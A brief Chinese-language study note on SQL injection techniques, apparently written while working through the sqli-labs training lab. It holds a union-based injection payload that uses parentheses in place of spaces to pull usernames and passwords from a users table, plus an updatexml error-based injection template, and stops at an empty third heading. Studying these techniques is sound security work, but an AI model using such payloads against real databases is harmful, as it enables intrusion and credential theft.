sql注入笔记

1.联合查询注入使用括号代替空格

sqli-labs-27

?id=0'union(select(1),(2),(select(group_concat(0x7e,username,passwoorrd))from(users)));%00

2.报错注入常用

select  updatexml(1, (concat(0x7e,substr(payload)20,10),0x7e)),1)

3.其他注入